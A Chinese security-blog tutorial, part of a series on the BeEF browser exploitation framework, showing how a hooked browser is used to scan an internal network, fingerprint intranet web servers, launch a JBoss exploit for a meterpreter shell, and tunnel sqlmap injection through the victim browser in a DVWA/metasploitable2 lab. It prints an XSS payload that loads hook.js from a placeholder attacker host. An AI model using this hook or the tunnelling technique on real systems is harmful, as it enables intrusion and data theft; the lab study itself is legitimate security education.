浏览器攻击框架BeEF Part 5:Web应用及网络攻击测试

2018-07-29 +10 193674人围观 WEB安全

*本文原创作者:NT00,本文属FreeBuf原创奖励计划,未经许可禁止转载

前言

上一章介绍了Tunneling Proxy技术以及怎样使用这项技术来绕过httponly实现高级的会话窃取。本章探讨如何在不违反SOP情况下,通过勾连浏览器攻击Web应用与攻击网络。其中有一些攻击技术就用到了Tunneling Proxy的技术。

本系列文章前序内容:

1.浏览器攻击框架BeEF Part 1

2.浏览器攻击框架BeEF Part 2:初始化控制

3.浏览器攻击框架BeEF Part 3:持续控制

4.浏览器攻击框架BeEF Part 4:绕过同源策略与浏览器代理

攻击网络

攻击Web应用有一些技术需要使用到攻击网络的技术,所以就先介绍攻击网络。这里的攻击网络一般是指攻击内网。想象一下这样的场景:当一个公司内部网络的浏览器被BeEF勾住了,那么可不可以使用它来攻击这个内部网络呢?比如主机扫描,端口扫描。答案是可以的。攻击网络的模块在Network和Host目录。

攻击网络一般有这几步:

1. 识别目标

2. ping sweep

3. 扫描端口

识别目标

识别目标分为两个,一个是识别勾连浏览器的内部IP,另一个是识别勾连浏览器的子网。

BeEF给出了两个攻击模块来识别勾连浏览器的内部IP:Get Internal IP(Java) 与 Get Internal IP WebRTC。两个模块都在Host目录。 一个是使用Java技术, 一个是使用了WebRTC技术。现在已经很少有人会在浏览器中使用Java了。 使用WebRTC会更好些:

30.png

识别勾连浏览器的子网只有一个模块:identity LAN Subnets。 这个模块的原理是通过向一些常见的子网段的主机发送XMLHttpRequest请求,然后看看响应的时间,如果主机是活动的,那么响应时间会很短。

31.png这个模块所扫描的子网段是设置好的,可以在 beef主目录/modules/network/identify_lan_subnets/command.js文件中增加。

ping sweep

知道内网ip 或 目标子网段后,下一步就是查看一下子网中有那些主机是活动的。BeEF为此提供了Ping Sweep 模块,它的原理和identify_lan_subnets一样。

33.png

下面是笔者的扫描结果:

34.png

扫描端口

知道活动主机以后,那么接下来就是进行端口扫描。BeEF提供了 Port Sanner 模块来达成这一目的,其原理是使用IMG标签和自定义的onload/onerrer事件处理程序, 以及计时器。但是现代的浏览器都实现了端口封禁,端口封禁限制了浏览器对某些端口发送http请求,比如 21, 22, 25, 110, 145 等端口, 所以一般无法扫描出这些端口。

35.png

下面是扫描结果

36.png

攻击Web应用

想象一下两个的情景。

第一个,一家公司的内网用户使用浏览器访问了某个有勾子的外网网站页面(可能是xss等漏洞导致),BeEF在获得了浏览器的控制权后,能不能进一步攻击这家公司的一些内网的Web呢?

第二个场景,某个网站的“给网站提出意见”或者“广告招租”等功能有存储型XSS漏洞,且提交上去的数据只有后台人员才能看到,该站点的所有Cookie都会设置HttpOnly,但是后台的某个功能存在着SQL漏洞,那么能否使用SQLmap通过BeEF来进行SQL注入来获取数据或者更进一步直接获取Webshell呢?

上面的两个问题,答案都是可以做到的。从上面的两个场景,可以看出要使用BeEF攻击Web应用主要分为两个种类型。第一种是攻击不同源的Web,对应着第一个场景。第二种是攻击同源的Web,对应着场景二。下面分开来讨论。

攻击不同源Web应用

先来说说攻击不同源Web的原理。从上一章,读者应该能理解到,BeEF可以让被勾住的浏览器向任何域发送HTTP请求。只是在发送跨域时,多数情况下SOP都会阻止浏览器读取HTTP响应。虽然不能读取HTTP响应,但有些攻击是不需要读取的,典型的不需要读取HTTP响应的攻击技术就是CSRF了。

要攻击不同源的Web应用,首先要对它进行充足的侦查。可以利用上面攻击网络的技术来检测一下勾连浏览器的内网有那些Web服务器。当我们知道那个内网主机上是Web服务器,接下来我们要对它进行指纹采集。前几章有提到js,css,图片的静态文件一般不会受SOP限制。而这正是指纹采集的关键,我们可以通过一些已知的静态资源来推测出目标。比如向一个内网的主机请求一个 /icon/apache_pb.gif图片,如果这个主机返回了图片数据,那么这个主机有可能运行着apache。

BeEF给出了两个指纹采集的攻击模块,分别是Get HTTP Servers(Favicon) 和 Fingerprint Local Network。两个模块的原理都是一样的,通过在勾连浏览器中创建一个不可见的IFrame,然后添加一个<img>标签,并设置onload/onerror事件,如果成功加载了图片触发了onload事件,那么就可以根据这个图片来推断出是什么服务器。Get HTTP Servers(Favicon)只会断定加载了那个图片,而Fingerprint Local Network 会计算加载的图片的长宽,然后和数据库对比,最后判断出这是个什么服务器。

下面是笔者用两个模块对内网中metasploitable2 的作出的测试结果:

Get HTTP Servers(Favicon)

37.png

Fingerprint Local Network

38.png

作出基本的指纹检测后,如果目标是有漏洞了,比如有一台Jboss 6.0.0, 那么就可以使用Jboss 6.0.0M1 JMX Deploy Exploit 模块直接反弹一个meterpreter回来。除了这个漏洞,BeEF也提供了一些CSRF的攻击模块可以使用。由于篇幅原因,这里就不测试了,有兴趣的可以自己搭环境测试。

攻击同源Web应用

攻击不同源的Web应用是有点鸡肋的,必须要满足不少条件才行。但是攻击同源Web应用就相对简单且有效的多。

上面的场景二,某个网站的“给网站提出意见”或者“广告招租”等功能有存储型XSS漏洞,且提交上去的数据只有后台人员才能看到,该站点的所有Cookie都会设置HttpOnly,但是后台的某个功能存在着SQL漏洞。我们要使用SQLmap通过BeEF来进行SQL注入来获取数据或者更进一步直接获取Webshell。这里就要用到上一章讲到的 Tunneling Proxy了。

因为没有好的靶子机,这里使用metasploitabel2来做测试了,下面是测试环境:

名称 角色 ip
Ubuntu BeEF服务器 外网
kali 攻击者,sqlmap 外网
Windows7 / 浏览器A 受害者 内网 10.0.2.4
metasploitable2 内网有漏洞的主机 内网 10.0.2.5

笔者使用最新的BeEF来测试,BeEF装好后,需要改一下config.yaml中的登录密码,要使用强密码,否则BeEF会在每次启动时给你分配一个随机密码。笔者测试时,发现最新版有一些Bug,导致proxy功能不太好用。经过调试,找到了Bug所在。修改一下beef/extensions/proxy/proxy.rb文件:

1.png修改成红线的两处的path就可以了。运行BeEF, 接着在windows7中用浏览器A访问metasploitable2 的dvwa。 把dvwa的安全调为低,接着使用xss reflected 来注入BeEF的钩子:

<script src="http://BeEF_ip:3000/hook.js" type="text/javascript"></script>

2.png接下来在kali中登录BeEF服务器的管理UI,把浏览器A设置为Tunneling Proxy(参照上一章的方法)。

设置完后,在kali中运行sqlmap,使用–proxy选项,走BeEF的Tunneling Proxy:

3.png

下面时结果图:

4.png

在使用sqlmap走BeEF隧道时,建议不要使用 –technique=T, 因为在走隧道时也会消耗时间,所以注入结果会不准确。 

这里只演示了sqlmap, 实际上burp也是可以走BeEF隧道了。这里旧不进行演示了,有兴趣的朋友可以自己玩。

结语

这一章到这里就结束了,下一章会介绍更好玩的攻击手段,攻击用户和浏览器。对本章有疑问或纠错的可以在评论里留言。

*本文原创作者:NT00,本文属FreeBuf原创奖励计划,未经许可禁止转载

取消
Loading...

特别推荐

推荐关注

填写个人信息

姓名
电话
邮箱
公司
行业
职位
css.php